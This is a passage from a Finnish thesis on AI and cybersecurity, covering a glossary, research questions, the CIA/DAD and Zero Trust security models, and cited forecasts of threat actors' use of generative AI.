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Sanasto 

 

KONEOPPIMINEN Tekoälyn osa-alue, joka mahdollistaa 

tietokonejärjestelmien kyvyn oppia ja tehdä 

päätöksiä itsenäisesti käyttäen dataa ilman 

nimenomaista ohjelmointia. 

 

SYVÄOPPIMINEN Koneoppimisen alalaji, joissa hyödynnetään usean 

kerroksen neuroverkkoja. 

 

SUURET KIELIMALLIT (LLM) Massiivisilla tietojoukoilla koulutettu 

syväoppimisalgoritmi, joka käsittelee ja luo ihmisen 

kaltaista tekstiä. 

 

NEUROVERKOT Tekoälyn komponentti, joka on suunniteltu 

jäljittelemään ihmisen aivojen toimintaa ja kykyä 

oppia. Neuroverkot koostuvat useista toisiinsa 

yhteydessä olevista soluista eli neuroneista.

  

HAAVOITTUVUUS Heikkous tai puute, joka voi altistaa tietoturvan 

hyökkäyksille. Se antaa hyökkääjille mahdollisuuden 

päästä käsiksi tietoihin tai häiritä järjestelmän 

toimintaa. 

 

PENETRAATIOTESTAUS Tietoturvatestaus, jossa simuloidaan hyökkäystä 

tietojärjestelmiin ja verkkoihin haavoittuvuuksien 

löytämiseksi ja korjaamiseksi ennen kuin todelliset 

hyökkääjät pystyvät hyödyntämään niitä. 

 

RED TEAM-TESTAUS Laaja ja monikerroksinen simuloitu verkkohyökkäys, 

jonka tarkoituksena on testata, kuinka tehokkaasti 

organisaation henkilöstö, verkot, sovellukset ja 

fyysiset turvallisuusjärjestelmät havaitsevat, 



 

ilmoittavat ja reagoivat todelliseen 

verkkohyökkäykseen. 

 

KYBERHYGIENIA Viittaa toimenpiteisiin, joilla tietokonejärjestelmät ja 

laitteet voivat parantaa verkon suojausta ja välttää 

altistumisen uhilta. 

 

UHKAYMPÄRISTÖ Kokonaisuus, jossa erilaiset uhat, kuten 

haittaohjelmat, hyökkääjät ja muut vaaratekijät, 

voivat vaikuttaa järjestelmän tai organisaation 

tietoturvaan. Se kattaa kaikki potentiaaliset riskit ja 

hyökkäykset, joita vastaan on varauduttava. 

 

RESILIENSSI Kyky säilyttää toimintavalmius vaihtelevissa 

olosuhteissa sekä kyky kohdata häiriötilanteita ja 

kriisejä ja toipua niistä. 

 

FORENSIIKKA Menetelmiä ja tekniikoita, joilla tutkitaan ja 

analysoidaan tietoverkkorikoksia ja tietomurtoja. 

Tavoitteena on kerätä, säilyttää ja analysoida 

digitaalisia todisteita rikosten selvittämiseksi ja 

ehkäisemiseksi. 

 

PALVELUNESTOHYÖKKÄYS Tietoverkkohyökkäys, jonka tavoitteena on 

ylikuormittaa ja siten estää tietyn palvelun tai 

järjestelmän toiminta. 

 

KIRISTYSHAITTAOHJELMA Haittaohjelma, joka lukitsee tai muuttaa laitteella 

olevia tietoja ja yleensä vaatii käyttäjältä lunnaita, 

jotta tiedot saataisiin takaisin käyttöön. 

 



 

DEEPFAKE Tekoälyn avulla luotua manipuloitua kuvaa, ääntä tai 

videota, joka näyttää ja kuulostaa aidolta mutta on 

todellisuudessa väärennös. 

 

HAKTIVISMI Tavoitteellinen tai aatteellinen toiminta 

tietoverkossa, jolla pyritään herättämään huomiota 

tai vaikuttamaan tiettyyn asiaan. 

 

EETTISET KYSYMYKSET Eettiset kysymykset tietotekniikassa käsittelevät 

oikean ja väärän kysymyksiä teknologian käytön ja 

kehittämisen vaikutuksista yksityisyyteen, 

turvallisuuteen, oikeudenmukaisuuteen ja 

vastuullisuuteen. 

 

IAM Identity and Access Management on menetelmä, 

jonka avulla hallitaan käyttäjien pääsyä resursseihin, 

kuten tietokantoihin, järjestelmiin, laitteisiin ja 

rakennuksiin. 

 

CTEM Continuous Threat Exposure Management on 

kyberturvallisuusprosessi, jossa käytetään 

hyökkäyssimulaatiota uhkien tunnistamiseksi ja 

lieventämiseksi organisaation verkkoihin ja 

järjestelmiin. Sen avulla organisaatiot voivat testata 

tietoturvaansa ja tunnistaa haavoittuvuudet ennen 

kuin ne joutuvat todellisten hyökkääjien kohteeksi. 

 

ROOT-KÄYTTÄJÄ Unix/Linux-järjestelmien pääkäyttäjä, jolla on täydet 

oikeudet kaikkiin järjestelmän toimintoihin.
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1 Johdanto 

Kyberturvallisuuden ala on kiehtova ja moninainen, hieman kuin kissa ja hiiri leikki. Alalle 

tulee jatkuvasti uusia tekniikoita ja toisaalta myös uhkia. Kyberturvallisuus käsitteenä on 

äärimmäisen laaja, mutta F-Secure (n.d.) tiivistää sen seuraavasti: ”Kyberturvallisuus kattaa 

kaiken ohjelmistoista toimiin, joilla pyritään turvaamaan esimerkiksi laitteita ja tietoa 

hyökkäyksiltä, häiriöiltä ja muilta vaaroilta. Kybertuvallisuus merkitys on viime vuosina 

kasvanut entisestään.” Tämä moninaisuus on kiinnostanut itseäni toteuttamaan tämän työn. 

Tekoälyn viimeaikainen kasvu ja kehitys maailmassamme on saanut myös minut miettimään, 

mitä kaikkea tekoälyn avulla voi toteuttaa. Tämä toimi lopullisena innoittajana juuri tähän 

aiheeseen. Marchalin ja kumppaneiden (2024, s. 1) mukaan tekoäly on ollut osana 

kyberturvallisuusalaa jo useamman kymmenen vuoden ajan. Heidän mukaansa se on ollut 

merkittävä osa kyberuhkien torjunnassa. He kuitenkin huomauttavat, että tekoälyn 

soveltaminen osana kyberturvallisuutta on pitkien kokeiluiden ja lukuisien epäonnistumisien 

takana. Tekoälyn yleistyminen osaksi jokapäiväistä elämäämme on myös pakottanut 

huomioimaan kyberturvallisuuden tekoälyn kehittämisessä. Vähä-Sipilä ja kumppanit (2021, 

s. 1) huomauttavat, että tekoälyyn ja koneoppimiseen liittyvien tietoturvariskien 

tunnistaminen ja hallinta ovat keskeisiä, jotta tekoälyjärjestelmiä voidaan hyödyntää 

mahdollisimman turvallisesti ja laajentaa niiden tuomia hyötyjä entisestään. 

Opinnäytetyön tarkoitus on tutkia, miten tekoäly on tänä päivänä hyödynnettävissä 

kyberhyökkäyksissä sekä toisaalta myös, miten sitä voidaan hyödyntää puolustuksessa. 

Teoriaosuuden tarkoitus on avata lukijalle, mitä kyberturvallisuus on, mitä tekoäly on ja miten 

näitä käytetään tänä päivänä yhdessä. Opinnäytetyössä käsitellään yleisimpiä käyttökohteita 

tekoälyn ja kyberturvallisuuden osalta sekä niiden tulevaisuuden näkymiä. Työssä tutkitaan 

myös kyberturvallisuuden tulevaisuuden uhkanäkymiä sekä sitä, minkälaisia kulmia tekoälyn 

rooli siihen tuo. 

Opinnäytetyön toiminnallisessa osuudessa toteutetaan eettinen hakkerointi tehtävä 

hyödyntäen kahta julkisesti saatavilla olevaa tekoälytyökalua. Tekoälytyökalut ovat 

kyberturvallisuusalaan kehitettyjä tekoälyjä. Tehtävä toteutetaan suljetussa ympäristössä ja 

kohteena on harjoitukseen tarkoitettu palvelin, joten se on toteutettu noudattaen 

vastuullisuutta ja eettisyyttä. Työn tarkoituksena on tutkia voiko tekoälytyökalun avulla 

toteuttaa onnistuneen hakkeroinnin. 
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Tutkimuskysymykset: 

• Voiko kuka tahansa toteuttaa kyberhyökkäyksen onnistuneesti käyttäen vain 

tekoälyvälineitä? 

• Miten tekoälyn käyttö kyberhyökkäyksissä vaikuttaa hyökkäyksen toteutukseen ja 

onnistumisen todennäköisyyteen? 

• Miten tekoälyvälineitä voidaan hyödyntää aktiivisesti puolustautuessa? 

• Minkälaisia riskejä kyberturvallisuuteen liittyvistä tekoälyvälineistä on? Entä hyötyjä? 
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2 Kyberturvallisuus 

Kyberturvallisuus on laaja käsite, jonka huomioiminen osana arkeamme on kasvanut 

viimeaikaisen teknologisoitumisen takia. Nykyään suurin osa palveluista tai toiminnoista ovat 

riippuvaisia tai toimivat verkosta tai järjestelmistä. Tämän takia kyberturvallisuuden merkitys 

maailmassamme kasvaa. CISA:n (2021) mukaan kyberturvallisuus käsitteenä viittaa 

tekniikoihin, prosesseihin ja käytäntöihin, joilla pyritään suojaamaan verkkoja, laitteita, 

ohjelmia ja tietoa hyökkäyksiltä tai luvattomalta käytöltä. Jotta organisaatiot pystyvät 

hallitsemaan kaiken edellä mainitun, on niiden avuksi kehitetty useita eri kyberturvallisuuden 

malleja, joista muutamaa yleisempää tutkitaan myöhemmissä kappaleissa. Lisäksi muuttuva 

uhkaympäristö luo jatkuvan seurannan ja kehityksen tarpeen kyberturvatoimien 

ylläpitämisessä, viimeisessä kappaleessa perehdytään viimeaikaisiin kyberuhka trendeihin ja 

tulevaisuuden näkymiin. 

2.1 Kyberturvallisuuden määritelmä 

F-Securen (n.d.) mukaan kyberturvallisuus ja tietoturvallisuus sekoittuvat useasti käsitteinä 

toisiinsa. Heidän mukaansa eroavaisuutena näillä kahdella käsitteellä on, että 

tietoturvallisuus kattaa tiedon turvaamisen kyberturvallisuutta laajemmin sisältäen myös 

fyysisen tiedon tallentamisen ja pääsyn rajoittamisen digitaalisen ympäristön ulkopuolella, 

kun kyberturvallisuus taas keskittyy turvallisuuteen vain verkkoympäristöissä. F-Secure (n.d.) 

sisällyttääkin kyberturvallisuuden yhtenä osa-alueena tietoturvallisuutta. CISA:n (2021) 

mukaan isolla osalla päivittäisistä toiminnoistamme ja palveluistamme on jonkinlainen 

riippuvuus tietokoneisiin tai internettiin – viestintä (esim. sähköposti, älypuhelimet), viihde 

(esim. videopelit, sosiaalinen media, sovellukset), liikenne (esim. navigointijärjestelmät), 

ostokset (esim. verkko-ostokset, luottokortit, verkkopankit), terveydenhuolto (esim. 

lääketieteelliset laitteet, potilastiedot) ja useita muita esimerkkejä. Tämän takia 

kyberturvallisuus on huomioitava ala enemmissä määrin niin organisaatioiden kuin myös 

yksityishenkilöiden arjessa (CISA, 2021).  

Kasperskyn (2023) mukaan kyberturvallisuus terminä soveltuu useisiin eri yhteyksiin, mutta 

voidaan jakaa kuuteen yleiseen luokkaan: 

1. Verkkoturvallisuus (Network security) on käytäntö, jolla suojataan tietoverkko 

tunkeilijoilta, kuten kohdennetuilta hyökkääjiltä tai opportunistisilta haittaohjelmilta. 
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2. Sovellusturvallisuus (Application security) keskittyy pitämään ohjelmistot ja laitteet 

vapaina uhista. Vaarantunut sovellus voi tarjota hyökkääjälle pääsyn tietoihin, joihin 

asiaan kuulumattomille henkilöille ei ole tarkoitettu pääsyä. Tietoturvan onnistunut 

toteutus alkaa jo ohjelman tai laitteen suunnittelu vaiheessa hyvissä ajoin ennen 

käyttöönottoa. 

3. Tietoturvallisuus (Information security) on käytäntö, joka suojaa tietojen eheyttä ja 

yksityisyyttä sekä tietoja tallennettaessa, että siirtäessä. Kyberturvallisuudessa 

tietoturvallisuudella viitataan nimenomaan digitaalisen tiedon turvaamiseen. 

4. Käyttöturvallisuus (Operational security) on käytäntö, joka sisältää prosessit ja 

päätökset tietovarojen käsittelystä ja suojaamisesta. Tämän alle kuuluvat esimerkiksi 

käyttöoikeuksien määrittäminen käyttäjille, jolla voidaan organisoida missä ja miten 

tietoja voidaan käyttää, tallentaa ja jakaa. 

5. Katastrofitoipumisella (Disaster recovery) ja liiketoiminnan jatkuvuudella (Business 

continuity) määritellään, kuinka organisaatio pystyy palautumaan tai reagoimaan 

kyberturvallisuushäiriöön tai muuhun toimintoja tai tietoa uhkaavaan tapahtumaan. 

Heikko reagointi tai palautuminen voi aiheuttaa toimintojen tai tietojen menetyksen.  

6. Loppukäyttäjien koulutuksella (End-user education) käsitellään yhtä 

merkittävimmästä ja arvaamattomimmasta tekijästä kyberturvallisuudessa eli ihmistä. 

Käyttäjä voi vahingossa saastuttaa muuten turvalliseen järjestelmään, jos ei 

noudateta hyviä turvallisuuskäytäntöjä. Loppukäyttäjien kouluttamisella voidaan 

tarkoittaa esimerkiksi koulutusta toimimaan oikein tuntemattomien sähköpostien 

kanssa tai olla kytkemättä tunnistamattomia USB-asemia työasemiin. (Kaspersky, 

2023)  

2.2 Kyberturvallisuuden tavoitteet 

Wadhwan (2024) mukaan kyberturvallisuuden tavoitteena on varmistaa turvallinen tallennus, 

hallita pääsyoikeuksia ja estää tietojen luvaton käsittely, siirto tai poistaminen. Hänen 

mukaansa se turvaa tiedon luottamuksellisuuden (confidentiality), eheyden (integrity) ja 

saatavuuden (availability). Näihin edellä mainittuihin kolmeen käsitteeseen syvennytään 

tulevassa osiossa enemmän. Kyberturvallisuuden toimintoja on otettu käyttöön yrityksissä ja 

yksityishenkilöiden toimesta verkkojen ja tietokonelaitteistojen suojaamiseksi ei-toivotuilta 

uhilta ja vahingoilta (Wadhwa, 2024). 

De Grootin (2023) mukaan kyberturvallisuuden tärkeys korostuu organisaatioiden kerätessä, 

käsitellessä ja tallentaessa nykyään suuria määriä dataa tietokoneille ja muille laitteille. 
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Merkittävä osa näistä tiedoista voi olla arkaluontoista tietoa, kuten taloudellista, 

henkilökohtaista tai muun tyyppistä tietoa esimerkiksi valtion-, armeijan-, rahoitus- tai 

lääketieteen organisaatioilta, joiden luvattomalla käytöllä tai altistumisella voi olla ei-haluttuja 

seurauksia (De Groot, 2023). Patterson (2023) muistuttaa, että organisaatioiden joutuminen 

hakkeroinnin kohteeksi ei ole välttämättä vain suora uhka organisaation luottamuksellisille 

tiedoille, vaan se voi altistaa myös asiakkaiden ja sidosryhmien tiedot uhatuksi. 

Sidosryhmien ja asiakkaiden luottamuksellisien tietojen altistuminen voi pilata organisaation 

suhteet asiakkaisiin tai jopa asettaa organisaation merkittävään oikeudelliseen uhkaan 

(Patterson, 2023). 

Kehittyvän tekniikan, itseohjautuvien autojen ja internet-yhteensopivien kodin laitteiden ja 

turvajärjestelmien takia kyberrikollisuuden vaarat tulevat entistä lähemmäksi ja 

vaarallisemmaksi. Tarve suojata luottamuksellisia tietoja on pakottava huolenaihe hallinnon 

ja teollisuuden korkeimmilla tasoilla, koska valtionsalaisuuksia voidaan varastaa toiselta 

puolelta maailmaa ja hyötykäyttää missä tahansa. (Patterson, 2023) De Groot (2023) 

tiivistää, että kyberturvallisuudella kuvataan tieteenalaa, joka on keskittynyt näiden edellä 

mainittujen tietojen käsittelyn, tallentamisen ja välittämisen käytettyjen järjestelmien 

suojaamiseen. 

2.3 Kyberturvallisuuden malleja 

Bitsightin (n.d.) mukaan kyberturvallisuus malleilla tarkoitetaan 

kyberturvallisuussuunnitelmaa tai -kehystä, jota on tarkoitus käyttää mittaamaan toimijan 

kyberastetta ja kykyä tunnistaa kyberturvallisuuden uhkia ja riskejä. Heidän mukaansa 

kyberturvallisuus malleilla ohjataan lisäksi toimintatapojen, strategioiden ja ohjelmien valintaa 

puolustautuessa uhkia vastaan ja lieventäessä riskejä. Kyberturvallisuus mallin tarkoituksena 

on hahmotella vaatimukset, jotka ovat tarpeen tietyn suojauspolitiikan asianmukaiseksi 

tukemiseksi ja toteuttamiseksi. Malli tarjoaa syvemmän selityksen siitä, kuinka 

käyttöjärjestelmä tulisi kehittää tukemaan oikein tiettyä suojauskäytäntöä. (Bitsight, n.d.) 

Seuraavissa kappaleissa esitellään muutama yleisesti kyberturvallisuudessa käytetty malli. 

2.3.1 CIA- ja DAD-malli 

Kyberturvallisuuden malleista puhuttaessa yksi käytetyimmistä malleista on CIA-malli. Malli 

on suunniteltu ohjaamaan tietoturvakäytäntöjä organisaatioissa. Kirjainyhdistelmä CIA tulee 

sanoista luottamuksellisuus (confidentiality), eheys (integrity) ja saatavuus (availability) 
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(Hashemi-Pour & Chai, 2023). Tässä yhteydessä luottamuksellisuudella tarkoitetaan 

Hashemi-Pourin ja Chainin (2023) mukaan joukkoa korkean tason sääntöjä, jotka rajoittavat 

pääsyä tietoihin. Eheydellä heidän mukaansa tarkoitetaan varmuutta siitä, että tiedot ovat 

luotettavia ja oikeita. Heidän mukaansa saatavuus tarkoittaa sitä, että valtuutetuilla henkilöillä 

on luotettava pääsy näihin tietoihin. Puhuttaessa CIA-mallista puhutaan usein CIA-kolmiosta, 

joka tulee sen esittelystä kuvan (Kuva 1) mukaisella tavalla. 

Kuva 1 CIA periaatteet kuvattuna kolmiona (Toth, 2022) 

 

CIA-malli tarjoaa kyberturvallisuuden ammattilaisille korkean tason kehyksen, joita he voivat 

hyödyntää tarkastellessaan, toteuttaessaan ja parantaessaan organisaatiolle tarkoitettuja 

järjestelmiä, työkaluja ja ohjelmia. Sen avulla voidaan tehokkaasti tunnistaa heikkoja kohtia 

ja löytää ratkaisuja toimintatapojen ja ohjelmien vahvistamiseksi. CIA-kolmikon jokainen 

kirjain edustaa kyberturvallisuuden perusperiaatteita ja niiden tarkastelu yhdessä kehyksessä 

ohjaa organisaatioiden turvallisuuspolitiikan kehittämistä. (Coursera, 2023) Courseran (2023) 

mukaan jokaisella kolmion osa-alueella on tärkeä merkitys mallissa. 

Luottamuksellisuudella (confidentiality) tarkoitetaan tietojen suojaamista luvattomalta 

käytöltä. Tähän kuuluvat tietojen suojaaminen ei-toivotuilta toimijoilta sekä pääsyn 

rajoittaminen vain valtuutetuille henkilöille.  Organisaation tietojen tulee olla heidän 

mukaansa vain niitä tarvitsevien saatavilla. Vahinkojen ja tietoturvaloukkausten estämiseksi 

on noudatettava luottamuksellisuuskäytäntöjä, jotta pääsy tietoihin on vain niiden henkilöiden 

saatavilla ketkä sitä tarvitsevat. Tietoja voidaan luokita, merkitä tai salata rajoitusten 

sallimiseksi. Luottamuksellisuutta voi ajatella yksityisyyden suojana, kun henkilö lähettää 

sähköpostin, tällöin sen sisältö ohjataan vain valituille henkilöille. Suojaukset, jotka pitävät 
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sähköpostin yksityisenä, ovat luottamuksellisuuteen liittyviä toimenpiteitä. Näihin kuuluvat 

esimerkiksi salasanat, tunnukset ja kaksivaiheinen tunnistautuminen. (Coursera, 2023) 

Eheydellä (integrity) tarkoitetaan tiedon luotettavuuden ja tarkkuuden säilymistä koko sen 

elinkaaren ajan. Tietojen eheyden säilyminen on tärkeää sen varmistumiseksi, että tietoa 

tarvitsevat pääsevät käsiksi oikeaan tietoon. Eheä järjestelmä pitää tiedon turvassa 

tarpeettomilta muutoksilta, olivatpa ne haitallisia tai tahattomia. Eheässä tietojärjestelmässä 

voidaan seurata ja rajoittaa sitä kuka voi tehdä muutoksia. Tällä voidaan minimoida 

hakkereiden, haitallisten tahojen tai inhimillisten virheiden aiheuttamat vahingot. Esimerkiksi 

edellä mainitussa esimerkissä lähetetyn sähköpostin sisältämät tiedot oletetaan olevan 

eheitä, jos ulkopuolinen toimija kuitenkin sieppasi viestin ja muutti sähköpostin keskeisiä 

tietoja, tällöin viestin tiedot ovat menettäneet eheyden. Tietojen eheyden suojaamiseen 

liittyviä toimenpiteitä ovat käyttöoikeuksien määrittäminen, versionhallinta ja 

varmuuskopioiden talteen ottaminen, tietojen salaaminen ja digitaalisien allekirjoituksien 

käyttäminen. Lisäksi verkkosivuilla voidaan käyttää varmenteita varmistaakseen sen 

aitouden. (Coursera, 2023) 

Saatavuudella (availability) viitataan ajatukseen, että ihmiset, jotka tarvitsevat pääsyn 

tietoihin, voivat saada ne. Saatavuus voi kilpailla muiden kolmikon tekijöiden kanssa, jotta 

voidaan mahdollistaa tietojen saatavuus, täytyy varmistaa, ettei vaikuteta tiedon 

luottamuksellisuuteen tai eheyteen. Sillä yksi parhaista tavoista suojata tietoa on rajoittaa 

niiden saatavuutta. Saatavuuden varmistamiseksi tulee olla käytössä 

varmuuskopiointijärjestelmät. Esimerkiksi katastrofipalautusjärjestelmä on oltava käytössä, 

jotta organisaatioissa päästään takaisin tietojärjestelmiin jonkin katastrofi tekijän sattuessa. 

Saatavuus voidaan vaarantaa uhkilla kuten palvelunestohyökkäyksillä tai kiristysohjelmien 

kautta. Sabotaasin aikana tietojen saatavuuden ylläpitämiseksi organisaatiot voivat käyttää 

varaverkkoja tai -palvelimia, jotka ovat tarkoitettu käytettäväksi, kun oletusjärjestelmä hajoaa 

tai sitä muutetaan. Säännöllinen järjestelmien päivittäminen ja kehittäminen ehkäisee 

tunkeutumisia ja toimintahäiriöitä ja parantaa täten tietojen saatavuutta. (Coursera, 2023) 

CIA-malli tarjoaa monia etuja organisaatioille ja erityisesti niille, jotka käsittelevät 

arkaluonteisia tietoja. Mallin avulla voidaan varmistaa valmiutta nykyaikaisiin 

kyberhyökkäyksiin ja muihin luvattomiin yrityksiin päästä käsiksi, varastaa tai manipuloida 

arvokasta tietoa. Tämän avulla voidaan seurata, että tietojen suojaamiseksi tarkoitettuja 

määräyksiä ja oikeudellisia kehyksiä noudatetaan, näin voidaan varmistua tietojen 

luottamuksellisuuden, eheyden ja saatavuuden täyttyminen. Oikein käytettynä malli luo 

ympäristön, jossa tietoturvariskit estetään ennakoivasti. Olemassa olevia haavoittuvuuksia 
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tunnistetaan ja niitä vähennetään tulevien uhkien estämiseksi. CIA-mallin avulla 

tietoturvatiimit eivät vain keskity hyökkääjien estämiseen, vaan myös varmistavat tietojen 

luottamuksellisuuden ja saatavuuden. (Hashemi-Pour & Chai, 2023) 

Vastakohtana CIA-mallia on DAD-malli, se on hyökkääjien malli, jota käytetään organisaation 

turvallisuustavoitteiden kumoamiseen. Lyhenne tulee sanoista paljastaminen (disclosure), 

muuttaminen (alteration) ja estäminen/tuhoaminen (denial/destruction). Käsitteet ovat 

vastakohtia CIA-mallin käsitteille, jolloin DAD-malli on hyvä ottaa huomioon organisaation 

turvallisuuspolitiikkaa suunnitellessa. (MCSI, n.d.) Seuraavaksi kuvataan tarkemmin mitä 

nämä kolme käsitettä tarkoittavat mallissa ja miten ne liittyvät CIA-mallin käsitteisiin kuvan 

(Kuva 2) osoittamalla tavalla: 

Paljastamisella MCSI:n (n.d.) mukaan viitataan siihen, että luvaton osapuoli pääsee käsiksi 

tietoon, johon hänellä ei ole tarkoitusta päästä. Organisaation järjestelmässä saattaa olla 

suunnitteluvirhe tai haavoittuvuus, jonka avulla hyökkääjä voi päästä käsiksi organisaation 

tietoihin, kuten käyttäjätietoihin tai asiakastietoihin. CIA-malliin viitaten paljastamisen 

onnistuessa on organisaatio epäonnistunut luottamuksellisuuden osalla. (MCSI, n.d.) 

Muutoksella MCSI:n (n.d.) mukaan tarkoitetaan, kun tietoturva ei pysty suojaamaan tietojen 

eheyttä ja tiedot muuttuvat jossakin kohtaa prosessia, muutos voi olla tahaton tai 

pahantahtoinen. Esimerkiksi tahattomasti organisaation työntekijät voivat poistaa tai muokata 

tietokannan tietueita, jos heitä ei ole koulutettu asian mukaisesti. Tahallisesti muutos voi 

tapahtua, jos hyökkääjä pääsee käsiksi organisaation tietokantaan ja muuttaa joitakin 

organisaation tärkeitä tietoja. Muutoksen toteutuessa on organisaation tietoturvassa 

epäonnistuttu eheyden säilyttämisessä. (MCSI, n.d.) 

Estäminen ja tuhoaminen on vastakohta CIA-mallin saatavuus käsitteeseen. Estämisen yksi 

tyypillisimpiä esimerkkejä on palvelunestohyökkäykset, jolloin pyritään estämään joko 

organisaation työntekijöiden tai asiakkaiden pääsy järjestelmiin ja tietoihin. Tällöin 

organisaatio on epäonnistunut saatavuuden osalta CIA-mallissa. (MCSI, n.d.) 
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Kuva 2 Kyberturvallisuuden CIA- ja DAD-mallit kuvattuna vastinpareina (Espinosa, 2021) 

 

Organisaation tietoturvallisuutta mietittäessä on tavoitteena tietojen laittoman käytön, 

muuttamisen, paljastamisen ja saatavuusongelmien estäminen. Tällöin DAD-mallin 

näkökulmien mukaan tuominen osana kyberturvallisuus suunnitelmaa on suositeltavaa. 

(MCSI, n.d.) 

2.3.2 Zero Trust -malli 

Zero Trust on kyberturvallisuuden malli, joka keskittyy resurssien suojaamiseen ja 

oletukseen, että luottamusta ei koskaan myönnetä epäsuorasti, vaan sitä on arvioitava 

jatkuvasti. Zero Trust arkkitehtuuri on kokonaisvaltainen lähestymistapa organisaation 

resurssi- ja tietoturvaan, joka kattaa henkilötiedot, tunnistetiedot, käyttöoikeuksien hallinnan, 

toiminnot, päätepisteet, isännöinti ympäristöt ja yhteen liitetyn infrastruktuurin. Malli tarjoaa 

kokoelman käsitteitä ja ideoita, joiden tarkoituksena on minimoida epävarmuus toteuttaa 

tarkkoja, vähimmäisoikeuksiin perustuvia pääsypäätöksiä tietojärjestelmissä ja palveluissa, 

kun verkkoa pidetään vaarantuneena. Zero Trust -arkkitehtuuri on yrityksen 

kyberturvallisuussuunnitelma, joka hyödyntää Zero Trust -konsepteja ja kattaa 

komponenttien väliset suhteet, työnkulun suunnittelun ja pääsyoikeuskäytännöt. (Rose ym., 

2020, ss. 4–5)  

Perinteisesti organisaatiot ovat keskittyneet heidän digitaalisen infrastruktuurin reunan 

puolustamiseen, ja todennetut käyttäjät saavat luvan käyttää laaja valikoimaa resursseja 

sisäverkossa ollessaan. Tämän seurauksena luvattomat sivuttaiset liikkeet ympäristössä 

ovat olleet yksi suurimmista haasteista organisaatioille. Turvallisuusratkaisut, kuten 
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luotettavat internet yhteydet ja organisaatioiden palomuurit ovat tehokkaita puolustustoimia 

internetin hyökkäyksiä vastaan, mutta eivät ole tehokkaita sisäverkon hyökkäyksien 

havaitsemisessa ja torjunnassa. Alkuvaiheen painopisteen tulisi keskittyä resurssien 

rajoittamiseen niille, joilla on tarve pääsyyn ja myöntää vain vähimmäisoikeudet, jotka 

tarvitaan tehtävän suorittamiseen.  Tärkeää on myös pienentää ”implisiittisen 

luottamusvyöhykkeen” kokoa, jossa kaikki osapuolet oletetaan luotettavaksi. Lisäksi on 

tärkeää tiedostaa, että perinteiset turvallisuusratkaisut eivät riitä nykyaikaisen uhkakuvan 

hallintaan, ja siksi Zero Trust -malli tarjoaa kokonaisvaltaisen lähestymistavan kyberturvaan. 

(Rose ym., 2020, ss. 4–5) 

Rainan (2023) mukaan vuonna 2020 pandemian vauhditettua organisaatioiden 

pilvisiirtymistä sekä hybridi työskentelymallin yleistyminen kehitti Zero Trust -mallin 

kyberturvallisuuteen. Työntekijät eivät välttämättä olleet enää suljetussa verkossa 

toimistoissa vaan organisaatioissa vaadittiin tarkempaa valvontaa ja vahvistamista jatkuvasti, 

että käyttäjällä ja hänen laitteellansa on oikeat oikeudet ja attribuutit. Zero Trust -malli 

edellyttää myös tietojen salaamista, sähköpostin suojaamista ja resurssien ja päätepisteiden 

kyberhygienian varmistamista ennen kuin ne muodostavat yhteyden järjestelmiin ja 

sovelluksiin. Organisaation on tunnettava kaikki palvelu- ja käyttäjäoikeustilinsä ja voitava 

määrittää mitä ja missä ne yhdistävät. Nykyään yli 80 % kaikista hyökkäyksistä liittyy 

tunnusten käyttöön tai väärinkäyttöön verkossa, siksi yhden kerran varmennus ei riitä, koska 

uhkat ja käyttäjän attribuutit voivat muuttua. Tämän takia Zero Trust -mallissa 

organisaatioiden on varmistettava, että kaikkia käyttöoikeuspyyntöjä tarkistetaan jatkuvasti, 

ennen kuin ne sallivat pääsyn mihinkään yrityksesi- tai pilviresursseihin. (Raina, 2023) 

Kuvassa (Kuva 3) on esitetty esimerkki toimintaketju oikeuksien tarkistamisesta ennen 

pääsyä haluttuun resurssiin. Pääsy myönnetään periaateratkaisun ja siihen liittyvän periaate 

täytäntöönpanon kautta (Rose ym., 2020). 

Kuva 3 Esimerkki pääsymalli, jossa toimija tarvitsee pääsyn yrityksen resursseihin (Rose 

ym., 2020) 
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2.4 Kyberturvallisuuden tulevaisuuden näkymät ja trendit 

Mietittäessä tulevaisuuden kyberturvallisuuden uhkanäkymiä, nousee lähitulevaisuudessa 

erityisesti yksi uhkatekijä etualalle: generatiivinen tekoäly. CrowdStriken (2024) mukaan 

generatiivinen tekoälyteknologia räjähti kasvuun vuoden 2022 lopusta. Kasvu on avannut 

uusia mahdollisuuksia tehokkaaseen sisällöntuotantoon ja uudet mahdollisuudet ovat myös 

kiinnittäneet uhkatoimijoiden huomion, jotka etsivät tapoja hyödyntää uutta teknologiaa 

tarkoituksiinsa. Generatiivisen tekoälyn yleistymisen uskotaan myös madaltavan kynnystä 

uhkaympäristöön vähemmän kehittyneille uhkatoimijoille. Tekoälyn hyödyntämisen katsotaan 

olevan erityisesti mahdollisuutena haitallisten tietokoneverkkotoimintojen kehittämisessä 

ja/tai suorittamisessa sekä sosiaalisen vaikuttamisen ja tiedotusoperaatioiden kampanjoiden 

tukemisessa. Viime vuosina on raportoitu säännöllisesti Venäjän, Kiinan ja Iranin väitetystä 

tutkimusintressistä erittäin harhaanjohtaviin tekoälyllä tuotettuihin kuviin, ääniin ja videoihin, 

niin kutsuttuihin ”deepfakeihin”. Lisäksi tutkijat ja akateemikot ovat arvelleet, että 

uhkatoimijoiden tulevan hyvin todennäköisesti kasvattamaan generatiivisen tekoälyn 

käyttämistä tiedotus- ja vaikuttamisoperaatioissa lähitulevaisuudessa. (CrowdStrike, 2024, 

ss. 32–34) 

Generatiivisella tekoälyllä on valtavaa potentiaalia monilla aloilla, joita kaikkia ei ole vielä 

välttämättä tunnistettu tai niitä ei suosita valtavirran julkisessa keskustelussa. Tekoälyn 

jatkuva kehittäminen lisää varmasti myös sen mahdollisen väärinkäytön potentiaalia. 

Suosittujen tekoälytyökalujen väärinkäytön mahdollisuuksia käyttää niitä pahantahtoisesti 

tullaan todennäköisesti muokkaamaan ajan myötä, kun yritykset, työkalujen omistajat ja 

hallitukset reagoivat uusiin kehityksiin ja todettuihin väärinkäyttöihin. Tulevaisuudessa tullaan 

hyvin todennäköisesti käyttämään generatiivista tekoälyä kyberaktiivisuuksiin, kun teknologia 

jatkaa kehittymistä ja suosion kasvattamista. Todennäköisimpinä tapoina käyttää tekoälyä 

uhkatoimijoiden keskuudessa nähdään, julkisesti saatavilla olevien tai avoimien 

lähdekoodien LLM-mallien käyttämistä hyväksi tai uhkatoimijoiden yrityksiä kehittää omia 

malleja tai generatiivisen tekoälyn työkaluja. (CrowdStrike, 2024, ss. 32–34) 

Tänä päivänä uhkatoimijoille on ensiarvoisen tärkeää toimia havaitsemattomana ja tämän 

uskotaan säilyvän tulevaisuudessakin. Kehittyneet kyberrikolliset löytävät jatkuvasti uusia 

